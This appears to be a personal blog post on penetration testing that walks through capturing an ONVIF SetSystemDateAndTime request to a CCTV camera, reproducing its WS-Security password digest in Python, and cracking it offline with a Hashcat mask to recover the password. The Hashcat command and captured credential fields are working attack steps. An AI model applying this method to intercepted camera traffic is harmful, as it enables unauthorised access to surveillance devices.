[Pentesting] ONVIF (CCTV cameras) auth

Sometimes, some client may try to login to CCTV camera (here, at 192.168.100.25 address) via TCP port 80 and/or port 5000 and send something like:

POST /onvif/device_service HTTP/1.1
Host: 192.168.100.25
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/device/wsdl/SetSystemDateAndTime"
Content-Length: 2903
Connection: close
SOAPAction: "http://www.onvif.org/ver10/device/wsdl/SetSystemDateAndTime"

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:chan="http://schemas.microsoft.com/ws/2005/02/duplex"
xmlns:wsa5="http://www.w3.org/2005/08/addressing"
xmlns:c14n="http://www.w3.org/2001/10/xml-exc-c14n#"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
xmlns:saml1="urn:oasis:names:tc:SAML:1.0:assertion"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"
xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"
xmlns:wsc="http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512"
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:wsdd="http://schemas.xmlsoap.org/ws/2005/04/discovery"
xmlns:xmime="http://tempuri.org/xmime.xsd"
xmlns:xop="http://www.w3.org/2004/08/xop/include"
xmlns:ns1="http://www.onvif.org/ver10/pacs"
xmlns:tt="http://www.onvif.org/ver10/schema"
xmlns:wsrfbf="http://docs.oasis-open.org/wsrf/bf-2"
xmlns:wstop="http://docs.oasis-open.org/wsn/t-1"
xmlns:wsrfr="http://docs.oasis-open.org/wsrf/r-2"
xmlns:tab="http://www.onvif.org/ver10/authenticationbehavior/wsdl"
xmlns:tan="http://www.onvif.org/ver20/analytics/wsdl"
xmlns:tas="http://www.onvif.org/ver10/advancedsecurity/wsdl"
xmlns:tds="http://www.onvif.org/ver10/device/wsdl"
xmlns:tev="http://www.onvif.org/ver10/events/wsdl"
xmlns:wsnt="http://docs.oasis-open.org/wsn/b-2"
xmlns:timg="http://www.onvif.org/ver20/imaging/wsdl"
xmlns:tptz="http://www.onvif.org/ver20/ptz/wsdl"
xmlns:tr2="http://www.onvif.org/ver20/media/wsdl"
xmlns:trt="http://www.onvif.org/ver10/media/wsdl"><SOAP-ENV:Header><wsse:Security
SOAP-ENV:mustUnderstand="true"><wsse:UsernameToken
wsu:Id="admin"><wsse:Username>admin</wsse:Username><wsse:Password
Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">hMc7ewNEo+0VhiLla7sSeZbUSjc=</wsse:Password><wsse:Nonce
EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">bn2yZzVhAU6kRxIQFnCVZXPqaxM=</wsse:Nonce><wsu:Created>2025-02-16T22:06:06Z</wsu:Created></wsse:UsernameToken></wsse:Security></SOAP-ENV:Header><SOAP-ENV:Body><tds:SetSystemDateAndTime><tds:DateTimeType>Manual</tds:DateTimeType><tds:DaylightSavings>false</tds:DaylightSavings><tds:TimeZone><tt:TZ>GMT+02:00</tt:TZ></tds:TimeZone><tds:UTCDateTime><tt:Time><tt:Hour>22</tt:Hour><tt:Minute>6</tt:Minute><tt:Second>6</tt:Second></tt:Time><tt:Date><tt:Year>2025</tt:Year><tt:Month>2</tt:Month><tt:Day>16</tt:Day></tt:Date></tds:UTCDateTime></tds:SetSystemDateAndTime></SOAP-ENV:Body></SOAP-ENV:Envelope>

Let's tidy up (format) most important (for us) fields ("xmllint --format fname.xml"):

    <SOAP-ENV:Header>
        <wsse:Security SOAP-ENV:mustUnderstand="true">
            <wsse:UsernameToken wsu:Id="admin">
                <wsse:Username>admin</wsse:Username>
                <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">hMc7ewNEo+0VhiLla7sSeZbUSjc=</wsse:Password>
                <wsse:Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">bn2yZzVhAU6kRxIQFnCVZXPqaxM=</wsse:Nonce>
                <wsu:Created>2025-02-16T22:06:06Z</wsu:Created>
            </wsse:UsernameToken>
        </wsse:Security>
    </SOAP-ENV:Header>

We need username, password digest, nonce and date. Nonce is random and password digest is calculated like: base64 encode(sha1(base64 decode(nonce) + date + password)).

It's all explained in the OASIS Standard 200401, March 2004.

In our case, the username is "admin", the password digest (base64-encoded) is "hMc7ewNEo+0VhiLla7sSeZbUSjc=", the nonce (base64-encoded too) is "bn2yZzVhAU6kRxIQFnCVZXPqaxM=" and the date is "2025-02-16T22:06:06Z".

In our case, the packet I use here is real, and the password is known to me: 'printer10'.

The following Python code is what may be used on client and server:

#!/usr/bin/env python3

import hashlib, sys, base64, binascii

date=b"2025-02-16T22:06:06Z"
nonce=base64.b64decode("bn2yZzVhAU6kRxIQFnCVZXPqaxM=")
print ("nonce", binascii.hexlify(nonce))
print ("date", binascii.hexlify(date))

m=hashlib.sha1()
m.update(nonce+date+("printer10".encode('utf-8')))
print ("digest - our result", m.hexdigest())

digest=base64.b64decode("hMc7ewNEo+0VhiLla7sSeZbUSjc=")
print ("digest - from packet", binascii.hexlify(digest))
nonce b'6e7db2673561014ea44712101670956573ea6b13'
date b'323032352d30322d31365432323a30363a30365a'
digest - our result 84c73b7b0344a3ed158622e56bbb127996d44a37
digest - from packet b'84c73b7b0344a3ed158622e56bbb127996d44a37'

It can be cracked using Hashcat.

Nonce and date is encoded in hex, password digest is used here too:

hashcat 84c73b7b0344a3ed158622e56bbb127996d44a37 -m 100 -a 3 --hex-charset "6e7db2673561014ea44712101670956573ea6b13323032352d30322d31365432323a30363a30365a?l?l?l?l?l?l?l3130"

Mode 100 is for SHA1.

It's very slow, probably due to Hashcat misoptimizations. (Maybe due to the long hex prefix?) This is why I used easier mask: "?l?l?l?l?l?l?l3130" (with "10" digits at the end). (Maybe Hashcat developers will fix this?)

But what we've got is:

84c73b7b0344a3ed158622e56bbb127996d44a37:$HEX[6e7db2673561014ea44712101670956573ea6b133230323
52d30322d31365432323a30363a30365a7072696e7465723130]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)
Hash.Target......: 84c73b7b0344a3ed158622e56bbb127996d44a37
Time.Started.....: Tue Nov 25 17:01:59 2025 (3 secs)
Time.Estimated...: Tue Nov 25 17:02:02 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: 6e7db2673561014ea44712101670956573ea6b13323032352d30322d31365432323a30363a
30365a?l?l?l?l?l?l?l3130 [49]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3207.5 kH/s (0.65ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8699904/8031810176 (0.11%)
Rejected.........: 0/8699904 (0.00%)
Restore.Point....: 8687616/8031810176 (0.11%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[6e7db2673561014ea44712101670956573ea6b13323032352d30322d31365432323a3
0363a30365a636866667465723130] -> $HEX[6e7db2673561014ea44712101670956573ea6b13323032352d3032
2d31365432323a30363a30365a72707a7a7365723130]
Hardware.Mon.#1..: Temp: 68c Util: 53%

Let's decode that hex string:

#!/usr/bin/env python3

import hashlib, sys, base64, binascii

print (binascii.unhexlify("6e7db2673561014ea44712101670956573ea6b13323032352d30322d31365432323a30363a30365a7072696e7465723130"))

This is the nonce, the date and the password:

b'n}\xb2g5a\x01N\xa4G\x12\x10\x16p\x95es\xeak\x132025-02-16T22:06:06Zprinter10'

(the post first published at 20251128.)


List of my other blog posts.

Subscribe to my news feed,

Some time ago (before 24-Mar-2025) there was Disqus JS script for comments. I dropped it --- it was so motley, distracting, animated, with too much ads. I never liked it. Also, comments didn"t appeared correctly (Disqus was buggy). Also, my blog is too chamberlike --- not many people write comments here. So I decided to switch to the model I once had at least in 2020 --- send me your comments by email (don"t forget to include URL to this blog post) and I"ll copy&paste it here manually.

Let"s party like it"s ~1993-1996, in this ultimate, radical and uncompromisingly primitive pre-web1.0-style blog and website.